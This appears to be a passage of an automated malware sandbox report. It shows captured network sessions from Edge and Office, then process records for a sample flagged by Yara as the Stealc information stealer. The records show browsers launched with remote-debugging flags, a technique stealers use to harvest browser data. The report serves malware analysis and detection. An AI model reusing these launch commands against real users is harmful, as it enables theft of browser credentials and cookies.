2024-11-13 17:08:34 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 17:08:34 UTC	517	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Thu, 22 Aug 2024 19:49:06 GMT X-Source-Length: 5699 X-Datacenter: northeu X-ActivityId: 568c32c2-4fc6-43fd-b83e-f4c0fb930684 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=271356 Expires: Sat, 16 Nov 2024 20:31:10 GMT Date: Wed, 13 Nov 2024 17:08:34 GMT Connection: close
2024-11-13 17:08:34 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49925	23.47.50.136	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:34 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 17:08:34 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 26 Oct 2024 13:08:49 GMT X-Datacenter: westus X-ActivityId: f9118471-d63a-4ae1-a8c4-33a84d8a076d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=417474 Expires: Mon, 18 Nov 2024 13:06:28 GMT Date: Wed, 13 Nov 2024 17:08:34 GMT Connection: close
2024-11-13 17:08:34 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	49923	23.47.50.136	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:34 UTC	634	OUT	GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 17:08:35 UTC	518	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1t99ka Last-Modified: Fri, 01 Nov 2024 18:01:15 GMT X-Source-Length: 20811 X-Datacenter: eastus X-ActivityId: f7ec68f9-61c4-4117-9b16-c229b5f431dd Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 20811 Cache-Control: public, max-age=176095 Expires: Fri, 15 Nov 2024 18:03:29 GMT Date: Wed, 13 Nov 2024 17:08:34 GMT Connection: close
2024-11-13 17:08:35 UTC	15866	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 90 00 00 01 90 08 02 00 00 00 0f dd a1 9b 00 00 0c 3e 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 10 20 80 80 94 d0 9b 20 22 25 80 94 10 5a 00 e9 45 b0 11 92 00 a1 c4 18 08 2a 76 74 51 c1 b5 8b 08 d8 d0 55 11 c5 0e 88 1d b1 b3 28 f6 be 58 50 50 d6 c5 82 5d 79 93 02 ba ee 2b df 9b 7c 33 f3 e7 9f 33 ff 39 73 ee dc 32 00 d0 4f f0 24 92 1c 54 13 80 5c 71 be 34 36 24 80 39 26 39 85 49 ea 02 28 a0 c2 df 50 40 e7 f1 f3 24 ec e8 e8 08 00 cb 40 ff f7 f2 ee 06 40 e4 fd 55 47 b9 d6 3f c7 ff 6b d1 12 08 f3 f8 00 20 d1 10 a7 09 f2 f8 b9 10 1f 00 00 af e2 4b a4 f9 00 10 e5 bc c5 94 7c 89 1c c3 0a 74 a4 30 40 88 17 ca 71 86 12 57 c9 71 9a 12 ef 51 d8 c4 c7 72 20 6e Data Ascii: PNGIHDR>iCCPICC ProfileHWXS[ "%ZE*vtQU(XPP]y+\|339s2O$T\q46$9&9I(P@$@@UG?k K\|t0@qWqQr n
2024-11-13 17:08:35 UTC	4945	IN	Data Raw: 3d f7 52 13 58 62 fb e9 21 5b 75 03 17 1c 54 6d 19 c9 a8 68 28 42 9d 72 18 59 2e 37 2a 0c 62 39 95 49 f4 d3 4f 3f dd 5c 95 c7 7f 5e 26 47 55 66 a3 ea 36 56 f1 51 09 75 c5 13 0a 63 96 51 3e 61 c6 4e 30 31 02 fb 25 ac ba ef f1 51 a3 42 71 d6 c4 60 4d d0 b4 22 a3 45 5b 46 7d 48 2d fb 24 ab b3 11 2c 12 46 4c d6 28 60 28 2f fd 89 ad 4e 3b ed b4 70 0a 37 30 5d 55 33 e8 8b ab f4 61 23 b0 4f 04 f6 4b 58 2e 2f c8 4a 25 4c 43 94 67 ef b3 5a 9d fd c0 11 18 09 68 2c 3c 41 d3 0e 86 ab 53 52 ba 3f f9 a6 85 af a7 7b ea 87 ad bc 55 63 45 55 e2 a9 dc ba b0 55 85 57 e3 55 5a 6e 04 0e 04 81 03 20 ac 72 d0 12 0e a4 66 5d c8 c1 22 50 bc b3 28 36 fa d0 96 53 95 ac 04 4a 67 05 4d 1e e7 99 a2 fa ae ef fa 2e 2f d3 58 05 2a c8 0a 49 b9 63 89 ac 13 61 49 46 40 5b 8b 77 92 17 17 ed Data Ascii: =RXb![uTmh(BrY.7b9IO?\^&GUf6VQucQ>aN01%QBq`M"E[F}H-$,FL(`(/N;p70]U3a#OKX./J%LCgZh,<ASR?{UcEUUWUZn rf]"P(6SJgM./XIcaIF@[w

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49929	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:34 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:35 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:34 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: e1b64052-701e-003e-45a3-3479b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170834Z-r178fb8d7657mv58hC1DFW03nw000000013g00000000pnfy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:35 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:34 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:35 UTC	517	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:35 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 59bb3ce9-601e-0097-63c3-2bf33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170835Z-16547b76f7fkj7j4hC1DFW0a9g0000000hg00000000023h9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:35 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:35 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:35 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:35 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 888f4a21-f01e-0096-5f5b-3510ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170835Z-1749fc9bdbd6szhxhC1DFW199s000000016g00000000u8w5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:35 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	49931	13.107.246.57	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:35 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 17:08:35 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:35 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 472ef94d-101e-001e-06dc-35b2ea000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241113T170835Z-r178fb8d765ljg7ghC1DFWfk4c000000011g00000000q5kw Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-13 17:08:35 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	49932	108.156.211.71	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:35 UTC	1012	OUT	GET /b2?rn=1731517712828&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=28116A1F6C666513052C7F296D6E64D8&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1ACc15ff3653c780308aae71731517714; XID=1ACc15ff3653c780308aae71731517714
2024-11-13 17:08:35 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Wed, 13 Nov 2024 17:08:35 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 8158504cb741686f0ef12b083cde6698.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW56-P3 X-Amz-Cf-Id: Hd8KR5uUoImKZHtlwpIqCpmFCVYwYZm2pPc-2VKiTL4PZxLNZesnrQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	49934	13.107.246.57	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:35 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 17:08:35 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:35 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 848dde1d-101e-005a-5fa3-2c6e86000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241113T170835Z-16547b76f7fdf69shC1DFWcpd00000000h9g00000000p86c Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:35 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Target ID:	0
Start time:	12:08:05
Start date:	13/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xf70000
File size:	1'784'832 bytes
MD5 hash:	D65607F5B37E8B0349921FECA6DDAE17
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2184019997.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2541025259.000000000179E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2539790734.0000000000F71000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:08:13
Start date:	13/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:08:13
Start date:	13/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1916 --field-trial-handle=2228,i,18326572126976972864,15207654653039505024,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:08:23
Start date:	13/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:08:23
Start date:	13/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2184,i,1909656663810025514,11843164480242829136,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:08:23
Start date:	13/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:08:24
Start date:	13/11/2024
